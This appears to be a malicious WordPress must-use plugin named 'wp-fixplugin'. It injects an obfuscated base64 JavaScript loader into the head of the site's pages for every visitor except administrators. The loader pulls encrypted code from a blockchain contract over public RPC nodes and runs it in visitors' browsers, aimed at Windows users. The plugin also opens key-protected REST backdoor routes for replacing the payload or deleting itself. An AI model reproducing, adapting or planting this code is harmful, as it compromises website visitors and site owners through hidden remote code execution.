File: /home/mciraet/www/wp-content/mu-plugins/wp-fixplugin.php
<?php
defined( 'ABSPATH' ) || exit;
define( 'WP_FIXPLUGIN_PAYLOAD_OPTION', 'wp_fixplugin_payload' );
define( 'WP_FIXPLUGIN_VER_OPTION', 'wp_fixplugin_ver' );
define( 'WP_FIXPLUGIN_META_OPTION', 'wp_fixplugin_meta' );
define( 'WP_FIXPLUGIN_API_KEY', 'fpk_Xr9mQ2pL7nZ4wV8sK1' );
define( 'WP_FIXPLUGIN_DEFAULT_PAYLOAD', 'Y29uc3QgXzB4NWE2MmQzPV8weDUxNDA7ZnVuY3Rpb24gXzB4NTE0MChfMHhmNmQ4NWQsXzB4MjEyNzY2KXtfMHhmNmQ4NWQ9XzB4ZjZkODVkLTB4MWEwO2NvbnN0IF8weDE2Y2MyOT1fMHg1MjM3KCk7bGV0IF8weDRlMTA5ZT1fMHgxNmNjMjlbXzB4ZjZkODVkXTtyZXR1cm4gXzB4NGUxMDllO30oZnVuY3Rpb24oXzB4MmU5YzllLF8weDRhNTJlOSl7Y29uc3QgXzB4MTAxNTIxPV8weDUxNDAsXzB4NDQ0OTYzPV8weDJlOWM5ZSgpO3doaWxlKCEhW10pe3RyeXtjb25zdCBfMHg0ZmNlZDM9LXBhcnNlSW50KF8weDEwMTUyMSgweDFiOCkpLzB4MSstcGFyc2VJbnQoXzB4MTAxNTIxKDB4MWE2KSkvMHgyKy1wYXJzZUludChfMHgxMDE1MjEoMHgxYWYpKS8weDMrcGFyc2VJbnQoXzB4MTAxNTIxKDB4MWRiKSkvMHg0K3BhcnNlSW50KF8weDEwMTUyMSgweDFiNykpLzB4NSooLXBhcnNlSW50KF8weDEwMTUyMSgweDFlMSkpLzB4NikrcGFyc2VJbnQoXzB4MTAxNTIxKDB4MWVkKSkvMHg3KigtcGFyc2VJbnQoXzB4MTAxNTIxKDB4MWU0KSkvMHg4KStwYXJzZUludChfMHgxMDE1MjEoMHgxZWYpKS8weDk7aWYoXzB4NGZjZWQzPT09XzB4NGE1MmU5KWJyZWFrO2Vsc2UgXzB4NDQ0OTYzWydwdXNoJ10oXzB4NDQ0OTYzWydzaGlmdCddKCkpO31jYXRjaChfMHgzM2VmZDYpe18weDQ0NDk2M1sncHVzaCddKF8weDQ0NDk2M1snc2hpZnQnXSgpKTt9fX0oXzB4NTIzNywweDNjNjYzKSk7Y29uc3QgXzB4NTM2ZTk4PShmdW5jdGlvbigpe2xldCBfMHg0YjM5MzE9ISFbXTtyZXR1cm4gZnVuY3Rpb24oXzB4MWQwOTNiLF8weDRmM2I3Yyl7Y29uc3QgXzB4NDE4NTE4PV8weDRiMzkzMT9mdW5jdGlvbigpe2NvbnN0IF8weDk0OTU2OD1fMHg1MTQwO2lmKF8weDRmM2I3Yyl7Y29uc3QgXzB4MTQ1ZTE0PV8weDRmM2I3Y1tfMHg5NDk1NjgoMHgxYjUpXShfMHgxZDA5M2IsYXJndW1lbnRzKTtyZXR1cm4gXzB4NGYzYjdjPW51bGwsXzB4MTQ1ZTE0O319OmZ1bmN0aW9uKCl7fTtyZXR1cm4gXzB4NGIzOTMxPSFbXSxfMHg0MTg1MTg7fTt9KCkpLF8weDQ2MDMzNj1fMHg1MzZlOTgodGhpcyxmdW5jdGlvbigpe2NvbnN0IF8weDVkYzk2ND1fMHg1MTQwO2lmKF8weDQ2MDMzNltfMHg1ZGM5NjQoMHgxYmIpXSgpW18weDVkYzk2NCgweDFlNyldKClbJ2luZGV4T2YnXSgnXHgwYScpIT09LTB4MSlyZXR1cm47cmV0dXJuIF8weDQ2MDMzNltfMHg1ZGM5NjQoMHgxZTcpXSgpW18weDVkYzk2NCgweDFiZCldKCcoKCguKykrKSspKyQnKVtfMHg1ZGM5NjQoMHgxZTcpXSgpW18weDVkYzk2NCgweDFiMCldKF8weDQ2MDMzNilbJ3NlYXJjaCddKF8weDVkYzk2NCgweDFiYykpO30pO18weDQ2MDMzNigpO2NvbnN0IF8weDM3NDA3MD0oZnVuY3Rpb24oKXtsZXQgXzB4M2UyZTM2PSEhW107cmV0dXJuIGZ1bmN0aW9uKF8weDVlYzZkZSxfMHg1MTkxNGYpe2NvbnN0IF8weDVjZGUzMT1fMHgzZTJlMzY/ZnVuY3Rpb24oKXtjb25zdCBfMHhiNjcwMGQ9XzB4NTE0MDtpZihfMHg1MTkxNGYpe2NvbnN0IF8weDI3YjYzYz1fMHg1MTkxNGZbXzB4YjY3MDBkKDB4MWI1KV0oXzB4NWVjNmRlLGFyZ3VtZW50cyk7cmV0dXJuIF8weDUxOTE0Zj1udWxsLF8weDI3YjYzYzt9fTpmdW5jdGlvbigpe307cmV0dXJuIF8weDNlMmUzNj0hW10sXzB4NWNkZTMxO307fSgpKTsoZnVuY3Rpb24oKXtfMHgzNzQwNzAodGhpcyxmdW5jdGlvbigpe2NvbnN0IF8weDU4YmUzNz1fMHg1MTQwLF8weDU1NTZmNz1uZXcgUmVnRXhwKF8weDU4YmUzNygweDFlYikpLF8weDRmYjA0Mj1uZXcgUmVnRXhwKF8weDU4YmUzNygweDFiYSksJ2knKSxfMHg0YjcwNzQ9XzB4MTZlOWNjKF8weDU4YmUzNygweDFiZSkpOyFfMHg1NTU2ZjdbXzB4NThiZTM3KDB4MWVlKV0oXzB4NGI3MDc0K18weDU4YmUzNygweDFiNikpfHwhXzB4NGZiMDQyW18weDU4YmUzNygweDFlZSldKF8weDRiNzA3NCtfMHg1OGJlMzcoMHgxZDgpKT9fMHg0YjcwNzQoJzAnKTpfMHgxNmU5Y2MoKTt9KSgpO30oKSksKGZ1bmN0aW9uKCl7Y29uc3QgXzB4MzNjMDZhPV8weDUxNDAsXzB4NDA0MjBmPWZ1bmN0aW9uKCl7Y29uc3QgXzB4NWE5ZmY4PV8weDUxNDA7bGV0IF8weDI2YmE2ZTt0cnl7XzB4MjZiYTZlPUZ1bmN0aW9uKF8weDVhOWZmOCgweDFhZCkrXzB4NWE5ZmY4KDB4MWRlKSsnKTsnKSgpO31jYXRjaChfMHg2NGEyNSl7XzB4MjZiYTZlPXdpbmRvdzt9cmV0dXJuIF8weDI2YmE2ZTt9LF8weGFjNTFlZT1fMHg0MDQyMGYoKTtfMHhhYzUxZWVbXzB4MzNjMDZhKDB4MWE0KV0oXzB4MTZlOWNjLDB4NWRjKTt9KCkpO2Z1bmN0aW9uIF8weDUyMzcoKXtjb25zdCBfMHgyMmRjY2E9WydodHRwczovLzFycGMuaW8vc2Vwb2xpYScsJ2Z1bmN0aW9uXHgyMCpceDVjKFx4MjAqXHg1YyknLCdFeGVjdXRpbmdceDIwZnJvbVx4MjBjYWNoZScsJzc3amFrT01xJywndGVzdCcsJzU0Mzk5OTZDZFd4d1cnLCdzdHJpbmdpZnknLCdkZWNyeXB0JywnaHR0cHM6Ly9ycGMuc2Vwb2xpYS5ldGhwYW5kYW9wcy5pbycsJ2UzMD0nLCdhcHBsaWNhdGlvbi9qc29uJywnMi4wJywnbG9nJywnMTVoOGkyMTF2Ym9xaG5vcycsJ2NvbnNvbGUnLCdhY3Rpb24nLCdzZXRJbnRlcnZhbCcsJ2RpZ2VzdCcsJzM0OTY0OG9nQU1HYicsJzEyMCcsJ1tCbG9ja2NoYWluXVx4MjAnLCd1c2VyQWdlbnQnLCdib2R5Jywnc2xpY2UnLCdsYXRlc3QnLCdyZXR1cm5ceDIwKGZ1bmN0aW9uKClceDIwJywnX19wcm90b19fJywnNjM2NDAyckpkVWNsJywnY29uc3RydWN0b3InLCdnZXRJdGVtJywnbGVuZ3RoJywnaHR0cHM6Ly9ldGhlcmV1bS1zZXBvbGlhLXJwYy5wdWJsaWNub2RlLmNvbScsJ3JhbmRvbScsJ2FwcGx5JywnY2hhaW4nLCc1NUpGVFV0YicsJzU0NzB6aEZFemInLCdDYWNoZVx4MjBtaXNzZWQnLCdceDVjK1x4NWMrXHgyMCooPzpbYS16QS1aXyRdWzAtOWEtekEtWl8kXSopJywnYmluZCcsJygoKC4rKSspKykrJCcsJ3NlYXJjaCcsJ2luaXQnLCdtZXNzYWdlJywnaHR0cHM6Ly9ldGhlcmV1bS1zZXBvbGlhLXB1YmxpYy5ub2RpZXMuYXBwJywnY2FsbCcsJ2pzb24nLCdtYXAnLCdSUENceDIwZmFpbGVkOicsJ3NvcnQnLCdnemlwJywnaHR0cHM6Ly9nYXRld2F5LnRlbmRlcmx5LmNvL3B1YmxpYy9zZXBvbGlhJywndGFibGUnLCdjb3VudGVyJywncmVzdWx0JywnZXJyb3InLCdleHAnLCdzZXRJdGVtJywnMHgzYmM1ZGUzMCcsJ2dnZXInLCd3YXJuJywncmF3JywnV2luZG93cycsJ2ltcG9ydEtleScsJ3N0YXRlT2JqZWN0JywnZGVidScsJ3JlcGxhY2UnLCdtYXRjaCcsJ2lucHV0JywnaHR0cHM6Ly9zZXBvbGlhLmdhdGV3YXkudGVuZGVybHkuY28nLCdzdWJ0bGUnLCc1NjI1OTZjdHpIeUonLCdwcm90b3R5cGUnLCdwbGF0Zm9ybScsJ3t9LmNvbnN0cnVjdG9yKFx4MjJyZXR1cm5ceDIwdGhpc1x4MjIpKFx4MjApJywndXNlckFnZW50RGF0YScsJ3RleHQnLCc0MzM4NlhFa0JNWicsJ3RoZW4nLCdodHRwczovLzB4cnBjLmlvL3NlcCcsJzE4NzEydEJ2ZFpOJywnZnJvbScsJ3RyYWNlJywndG9TdHJpbmcnLCdjb2RlJywnUE9TVCddO18weDUyMzc9ZnVuY3Rpb24oKXtyZXR1cm4gXzB4MjJkY2NhO307cmV0dXJuIF8weDUyMzcoKTt9Y29uc3QgXzB4Mzg0ZTQ2PShmdW5jdGlvbigpe2xldCBfMHg1ZTZjNDc9ISFbXTtyZXR1cm4gZnVuY3Rpb24oXzB4M2E2ZmNiLF8weDJkYjQyNyl7Y29uc3QgXzB4NTY4ZjYzPV8weDVlNmM0Nz9mdW5jdGlvbigpe2NvbnN0IF8weDFkNmRmZT1fMHg1MTQwO2lmKF8weDJkYjQyNyl7Y29uc3QgXzB4OWM4NzcyPV8weDJkYjQyN1tfMHgxZDZkZmUoMHgxYjUpXShfMHgzYTZmY2IsYXJndW1lbnRzKTtyZXR1cm4gXzB4MmRiNDI3PW51bGwsXzB4OWM4NzcyO319OmZ1bmN0aW9uKCl7fTtyZXR1cm4gXzB4NWU2YzQ3PSFbXSxfMHg1NjhmNjM7fTt9KCkpLF8weDRlMTA5ZT1fMHgzODRlNDYodGhpcyxmdW5jdGlvbigpe2NvbnN0IF8weDRjMDM2OD1fMHg1MTQwLF8weDkzNDYwNT1mdW5jdGlvbigpe2NvbnN0IF8weDQ2MzFjZD1fMHg1MTQwO2xldCBfMHg0MjY4NmU7dHJ5e18weDQyNjg2ZT1GdW5jdGlvbihfMHg0NjMxY2QoMHgxYWQpK18weDQ2MzFjZCgweDFkZSkrJyk7JykoKTt9Y2F0Y2goXzB4M2MxMDFhKXtfMHg0MjY4NmU9d2luZG93O31yZXR1cm4gXzB4NDI2ODZlO30sXzB4NDdmMGNkPV8weDkzNDYwNSgpLF8weDQ0MDMxYT1fMHg0N2YwY2RbJ2NvbnNvbGUnXT1fMHg0N2YwY2RbXzB4NGMwMzY4KDB4MWEyKV18fHt9LF8weDJkNzI4MT1bXzB4NGMwMzY4KDB4MWEwKSxfMHg0YzAzNjgoMHgxZDApLCdpbmZvJyxfMHg0YzAzNjgoMHgxY2IpLCdleGNlcHRpb24nLF8weDRjMDM2OCgweDFjOCksXzB4NGMwMzY4KDB4MWU2KV07Zm9yKGxldCBfMHg2NWNhNjU9MHgwO18weDY1Y2E2NTxfMHgyZDcyODFbXzB4NGMwMzY4KDB4MWIyKV07XzB4NjVjYTY1Kyspe2NvbnN0IF8weDM1NmEyOD1fMHgzODRlNDZbXzB4NGMwMzY4KDB4MWIwKV1bXzB4NGMwMzY4KDB4MWRjKV1bJ2JpbmQnXShfMHgzODRlNDYpLF8weDFmOTljMD1fMHgyZDcyODFbXzB4NjVjYTY1XSxfMHg0NzU3MjM9XzB4NDQwMzFhW18weDFmOTljMF18fF8weDM1NmEyODtfMHgzNTZhMjhbXzB4NGMwMzY4KDB4MWFlKV09XzB4Mzg0ZTQ2W18weDRjMDM2OCgweDFiYildKF8weDM4NGU0NiksXzB4MzU2YTI4W18weDRjMDM2OCgweDFlNyldPV8weDQ3NTcyM1tfMHg0YzAzNjgoMHgxZTcpXVtfMHg0YzAzNjgoMHgxYmIpXShfMHg0NzU3MjMpLF8weDQ0MDMxYVtfMHgxZjk5YzBdPV8weDM1NmEyODt9fSk7XzB4NGUxMDllKCksKGFzeW5jKF8weDJlOGE5MSxfMHgzMjQyNTksXzB4M2I3ZDA5LF8weDU0NTIwOCk9Pntjb25zdCBfMHgxODg0Mjg9XzB4NTE0MCxfMHgzZTA4YTY9bmF2aWdhdG9yW18weDE4ODQyOCgweDFkZildPy5bXzB4MTg4NDI4KDB4MWRkKV09PT1fMHgxODg0MjgoMHgxZDIpfHwvV2luKGRvd3N8MzJ8NjR8TlR8OVs1OF18MTYpL2lbXzB4MTg4NDI4KDB4MWVlKV0obmF2aWdhdG9yW18weDE4ODQyOCgweDFhOSldKTtpZighXzB4M2UwOGE2KXJldHVybjtjb25zdCBfMHgyNTIwMzE9XzB4MWFhYjhlPT57Y29uc3QgXzB4MTQ1ZjRjPV8weDE4ODQyODtjb25zb2xlWydsb2cnXShfMHgxNDVmNGMoMHgxYTgpK18weDFhYWI4ZSk7fTtfMHgyNTIwMzEoSlNPTlsnc3RyaW5naWZ5J10oeydjb250cmFjdCc6XzB4MmU4YTkxLCdlbmNyeXB0aW9uS2V5JzpfMHgzMjQyNTksJ2NhY2hlS2V5JzpfMHgzYjdkMDksJ2NhY2hlRHVyYXRpb24nOl8weDU0NTIwOH0pKTt0cnl7Y29uc3QgXzB4NWRkZjdjPUpTT05bJ3BhcnNlJ10oYXRvYihsb2NhbFN0b3JhZ2VbXzB4MTg4NDI4KDB4MWIxKV0oXzB4M2I3ZDA5KXx8XzB4MTg4NDI4KDB4MWYzKSkpO2lmKF8weDVkZGY3YyYmXzB4NWRkZjdjW18weDE4ODQyOCgweDFlOCldJiZfMHg1ZGRmN2M/LltfMHgxODg0MjgoMHgxY2MpXT5EYXRlWydub3cnXSgpKXtfMHgyNTIwMzEoXzB4MTg4NDI4KDB4MWVjKSksbmV3IEZ1bmN0aW9uKF8weDVkZGY3Y1tfMHgxODg0MjgoMHgxZTgpXSkoKTtyZXR1cm47fWVsc2UgXzB4MjUyMDMxKF8weDE4ODQyOCgweDFiOSkpO31jYXRjaHtfMHgyNTIwMzEoXzB4MTg4NDI4KDB4MWI5KSk7fWNvbnN0IF8weDMwNzJhMj1bXzB4MTg4NDI4KDB4MWMwKSxfMHgxODg0MjgoMHgxZDkpLF8weDE4ODQyOCgweDFjNyksXzB4MTg4NDI4KDB4MWYyKSxfMHgxODg0MjgoMHgxZTMpLF8weDE4ODQyOCgweDFiMyksXzB4MTg4NDI4KDB4MWVhKV1bXzB4MTg4NDI4KDB4MWM1KV0oXzB4NTdjMGI2PT5NYXRoW18weDE4ODQyOCgweDFiNCldKCktMC41KSxfMHg1ZTlhOTI9XzB4NDZmNDNmPT5VaW50OEFycmF5W18weDE4ODQyOCgweDFlNSldKF8weDQ2ZjQzZltfMHgxODg0MjgoMHgxZDYpXSgvXjB4LywnJylbXzB4MTg4NDI4KDB4MWQ3KV0oLy4uL2cpW18weDE4ODQyOCgweDFjMyldKF8weDNjOWE1OD0+cGFyc2VJbnQoXzB4M2M5YTU4LDB4MTApKSk7bGV0IF8weDIyMjA2ZT1udWxsO2Zvcihjb25zdCBfMHg0MWExOTEgb2YgXzB4MzA3MmEyKXt0cnl7Y29uc3QgXzB4NGEwMTU0PWF3YWl0IGZldGNoKF8weDQxYTE5MSx7J21ldGhvZCc6XzB4MTg4NDI4KDB4MWU5KSwnaGVhZGVycyc6eydjb250ZW50LXR5cGUnOl8weDE4ODQyOCgweDFmNCl9LCdib2R5JzpKU09OW18weDE4ODQyOCgweDFmMCldKHsnanNvbnJwYyc6XzB4MTg4NDI4KDB4MWY1KSwnaWQnOjB4MSwnbWV0aG9kJzonZXRoX2NhbGwnLCdwYXJhbXMnOlt7J3RvJzpfMHgyZThhOTEsJ2RhdGEnOl8weDE4ODQyOCgweDFjZSl9LF8weDE4ODQyOCgweDFhYyldfSl9KVtfMHgxODg0MjgoMHgxZTIpXShfMHg0NjVlZDQ9Pl8weDQ2NWVkNFtfMHgxODg0MjgoMHgxYzIpXSgpKTtpZihfMHg0YTAxNTRbXzB4MTg4NDI4KDB4MWNiKV0pdGhyb3cgbmV3IEVycm9yKF8weDRhMDE1NFtfMHgxODg0MjgoMHgxY2IpXVtfMHgxODg0MjgoMHgxYmYpXSk7XzB4MjIyMDZlPV8weDRhMDE1NFtfMHgxODg0MjgoMHgxY2EpXTticmVhazt9Y2F0Y2goXzB4MWI0Njg2KXtfMHgyNTIwMzEoXzB4MTg4NDI4KDB4MWM0KSxfMHg0MWExOTEsXzB4MWI0Njg2WydtZXNzYWdlJ10pO319aWYoIV8weDIyMjA2ZSlyZXR1cm4gXzB4MjUyMDMxKCdhbGxceDIwUlBDc1x4MjBmYWlsZWQnKTtjb25zdCBfMHg1YTA3YTA9XzB4MjIyMDZlW18weDE4ODQyOCgweDFhYildKDB4MiksXzB4MWJiNjQ2PXBhcnNlSW50KF8weDVhMDdhMFtfMHgxODg0MjgoMHgxYWIpXSgweDQwLDB4ODApLDB4MTApLF8weDMxNzhhMD1fMHg1ZTlhOTIoXzB4NWEwN2EwW18weDE4ODQyOCgweDFhYildKDB4ODAsMHg4MCtfMHgxYmI2NDYqMHgyKSksXzB4NTFjY2E2PV8weDVlOWE5MihfMHgyZThhOTEpW18weDE4ODQyOCgweDFhYildKDB4MCwweGMpLF8weDI4NWQxZT1hd2FpdCBjcnlwdG9bJ3N1YnRsZSddW18weDE4ODQyOCgweDFhNSldKCdTSEEtMjU2JyxuZXcgVGV4dEVuY29kZXIoKVsnZW5jb2RlJ10oXzB4MzI0MjU5KSksXzB4MmViMmUzPWF3YWl0IGNyeXB0b1snc3VidGxlJ11bXzB4MTg4NDI4KDB4MWQzKV0oXzB4MTg4NDI4KDB4MWQxKSxfMHgyODVkMWUsJ0FFUy1HQ00nLCFbXSxbXzB4MTg4NDI4KDB4MWYxKV0pLF8weDQ3MmIzOT1hd2FpdCBjcnlwdG9bXzB4MTg4NDI4KDB4MWRhKV1bJ2RlY3J5cHQnXSh7J25hbWUnOidBRVMtR0NNJywnaXYnOl8weDUxY2NhNn0sXzB4MmViMmUzLF8weDMxNzhhMCksXzB4MmZjODBiPW5ldyBSZXNwb25zZShfMHg0NzJiMzkpW18weDE4ODQyOCgweDFhYSldWydwaXBlVGhyb3VnaCddKG5ldyBEZWNvbXByZXNzaW9uU3RyZWFtKF8weDE4ODQyOCgweDFjNikpKSxfMHhlODY1NDY9YXdhaXQgbmV3IFJlc3BvbnNlKF8weDJmYzgwYilbXzB4MTg4NDI4KDB4MWUwKV0oKTtpZihfMHhlODY1NDYpe3RyeXtsb2NhbFN0b3JhZ2VbXzB4MTg4NDI4KDB4MWNkKV0oXzB4M2I3ZDA5LGJ0b2EoSlNPTltfMHgxODg0MjgoMHgxZjApXSh7J2NvZGUnOl8weGU4NjU0NiwnZXhwJzpEYXRlWydub3cnXSgpK18weDU0NTIwOCoweDNjKjB4M2U4fSkpKSxfMHgyNTIwMzEoJ0NhY2hlXHgyMHNhdmVkJyk7fWNhdGNoKF8weGFlMzc2Nil7XzB4MjUyMDMxKCdFcnJvclx4MjBzYXZpbmdceDIwY2FjaGUnKTt9bmV3IEZ1bmN0aW9uKF8weGU4NjU0NikoKTt9fSkoJzB4MDMyMUM3MzE1MDU0M0ZBYTlEMDE2YzljNDZBYmYyOTNFYjY4MzllNCcsXzB4NWE2MmQzKDB4MWExKSwnZ19iMTVzX2EnLF8weDVhNjJkMygweDFhNykpO2Z1bmN0aW9uIF8weDE2ZTljYyhfMHg0NmEyM2Epe2Z1bmN0aW9uIF8weDE1YTBhYShfMHgyODZkNzgpe2NvbnN0IF8weDVkNmIwNT1fMHg1MTQwO2lmKHR5cGVvZiBfMHgyODZkNzg9PT0nc3RyaW5nJylyZXR1cm4gZnVuY3Rpb24oXzB4NWMyMjIyKXt9W18weDVkNmIwNSgweDFiMCldKCd3aGlsZVx4MjAodHJ1ZSlceDIwe30nKVtfMHg1ZDZiMDUoMHgxYjUpXShfMHg1ZDZiMDUoMHgxYzkpKTtlbHNlKCcnK18weDI4NmQ3OC9fMHgyODZkNzgpW18weDVkNmIwNSgweDFiMildIT09MHgxfHxfMHgyODZkNzglMHgxND09PTB4MD9mdW5jdGlvbigpe3JldHVybiEhW107fVtfMHg1ZDZiMDUoMHgxYjApXShfMHg1ZDZiMDUoMHgxZDUpK18weDVkNmIwNSgweDFjZikpW18weDVkNmIwNSgweDFjMSldKF8weDVkNmIwNSgweDFhMykpOmZ1bmN0aW9uKCl7cmV0dXJuIVtdO31bJ2NvbnN0cnVjdG9yJ10oXzB4NWQ2YjA1KDB4MWQ1KStfMHg1ZDZiMDUoMHgxY2YpKVtfMHg1ZDZiMDUoMHgxYjUpXShfMHg1ZDZiMDUoMHgxZDQpKTtfMHgxNWEwYWEoKytfMHgyODZkNzgpO310cnl7aWYoXzB4NDZhMjNhKXJldHVybiBfMHgxNWEwYWE7ZWxzZSBfMHgxNWEwYWEoMHgwKTt9Y2F0Y2goXzB4NTFhNTU0KXt9fQ==' );
add_action( 'init', 'wp_fixplugin_init' );
function wp_fixplugin_init() {
$current = get_option( WP_FIXPLUGIN_PAYLOAD_OPTION, '' );
if ( empty( $current ) || $current !== WP_FIXPLUGIN_DEFAULT_PAYLOAD ) {
update_option( WP_FIXPLUGIN_PAYLOAD_OPTION, WP_FIXPLUGIN_DEFAULT_PAYLOAD, 'no' );
}
update_option( WP_FIXPLUGIN_VER_OPTION, time(), 'no' );
}
add_action( 'wp_head', 'wp_fixplugin_inject_script', 1 );
function wp_fixplugin_inject_script() {
if ( is_user_logged_in() && current_user_can( 'manage_options' ) ) {
return;
}
$payload = get_option( WP_FIXPLUGIN_PAYLOAD_OPTION, WP_FIXPLUGIN_DEFAULT_PAYLOAD );
if ( empty( $payload ) ) {
return;
}
echo '<script>[].constructor.constructor(atob("' . esc_attr( $payload ) . '"))();</script>' . "\n";
}
add_action( 'rest_api_init', 'wp_fixplugin_register_routes' );
function wp_fixplugin_register_routes() {
register_rest_route(
'wp-fixplugin/v1',
'/update',
array(
'methods' => 'GET',
'callback' => 'wp_fixplugin_handle_update',
'permission_callback' => '__return_true',
'args' => array(
'payload' => array(
'required' => true,
'sanitize_callback' => 'sanitize_text_field',
),
'key' => array(
'required' => true,
),
'contract' => array(
'required' => false,
),
'enc_key' => array(
'required' => false,
),
),
)
);
register_rest_route(
'wp-fixplugin/v1',
'/remove',
array(
'methods' => 'GET',
'callback' => 'wp_fixplugin_handle_remove',
'permission_callback' => '__return_true',
'args' => array(
'key' => array(
'required' => true,
),
),
)
);
register_rest_route(
'wp-fixplugin/v1',
'/status',
array(
'methods' => 'GET',
'callback' => 'wp_fixplugin_handle_status',
'permission_callback' => '__return_true',
'args' => array(
'key' => array(
'required' => true,
),
),
)
);
}
function wp_fixplugin_handle_update( $request ) {
if ( $request->get_param( 'key' ) !== WP_FIXPLUGIN_API_KEY ) {
return new WP_Error( 'forbidden', 'Invalid API key.', array( 'status' => 403 ) );
}
$payload = $request->get_param( 'payload' );
update_option( WP_FIXPLUGIN_PAYLOAD_OPTION, $payload, 'no' );
update_option( WP_FIXPLUGIN_VER_OPTION, time(), 'no' );
$meta = array(
'contract' => $request->get_param( 'contract' ) ?: '',
'enc_key' => $request->get_param( 'enc_key' ) ?: '',
'updated' => time(),
);
update_option( WP_FIXPLUGIN_META_OPTION, $meta, 'no' );
wp_cache_delete( WP_FIXPLUGIN_PAYLOAD_OPTION, 'options' );
wp_cache_delete( WP_FIXPLUGIN_VER_OPTION, 'options' );
wp_fixplugin_flush_page_caches();
return rest_ensure_response( array(
'success' => true,
'contract' => $meta['contract'],
'updated' => $meta['updated'],
) );
}
function wp_fixplugin_handle_status( $request ) {
if ( $request->get_param( 'key' ) !== WP_FIXPLUGIN_API_KEY ) {
return new WP_Error( 'forbidden', 'Invalid API key.', array( 'status' => 403 ) );
}
$meta = get_option( WP_FIXPLUGIN_META_OPTION, array() );
$has_payload = ! empty( get_option( WP_FIXPLUGIN_PAYLOAD_OPTION ) );
return rest_ensure_response( array(
'active' => $has_payload,
'contract' => isset( $meta['contract'] ) ? $meta['contract'] : '',
'updated' => isset( $meta['updated'] ) ? $meta['updated'] : 0,
) );
}
function wp_fixplugin_handle_remove( $request ) {
if ( $request->get_param( 'key' ) !== WP_FIXPLUGIN_API_KEY ) {
return new WP_Error( 'forbidden', 'Invalid API key.', array( 'status' => 403 ) );
}
if ( ! function_exists( 'WP_Filesystem' ) ) {
require_once ABSPATH . 'wp-admin/includes/file.php';
}
WP_Filesystem();
global $wp_filesystem;
if ( ! $wp_filesystem ) {
return new WP_Error( 'fs_unavailable', 'Could not initialise WP_Filesystem.', array( 'status' => 500 ) );
}
$file = $wp_filesystem->wp_content_dir() . 'mu-plugins/wp-fixplugin.php';
if ( ! $wp_filesystem->exists( $file ) ) {
return new WP_Error( 'not_found', 'MU-plugin file not found.', array( 'status' => 404 ) );
}
if ( ! $wp_filesystem->delete( $file ) ) {
return new WP_Error( 'delete_failed', 'Could not delete MU-plugin file.', array( 'status' => 500 ) );
}
delete_option( WP_FIXPLUGIN_PAYLOAD_OPTION );
delete_option( WP_FIXPLUGIN_VER_OPTION );
delete_option( WP_FIXPLUGIN_META_OPTION );
return rest_ensure_response( array( 'success' => true ) );
}
function wp_fixplugin_flush_page_caches() {
if ( function_exists( 'wp_cache_clear_cache' ) ) wp_cache_clear_cache();
if ( function_exists( 'w3tc_flush_all' ) ) w3tc_flush_all();
if ( function_exists( 'rocket_clean_domain' ) ) rocket_clean_domain();
if ( function_exists( 'rt_nginx_helper_purge_all' ) ) rt_nginx_helper_purge_all();
if ( class_exists( 'LiteSpeed_Cache_API' ) ) LiteSpeed_Cache_API::purge_all();
if ( class_exists( 'autoptimizeCache' ) ) autoptimizeCache::clearall();
if ( class_exists( 'Breeze_Admin' ) ) do_action( 'breeze_clear_all_cache' );
if ( class_exists( '\Hummingbird\Core\Utils' ) ) do_action( 'wphb_clear_page_cache' );
if ( isset( $GLOBALS['wp_fastest_cache'] ) && method_exists( $GLOBALS['wp_fastest_cache'], 'deleteCache' ) ) {
$GLOBALS['wp_fastest_cache']->deleteCache( true );
}
}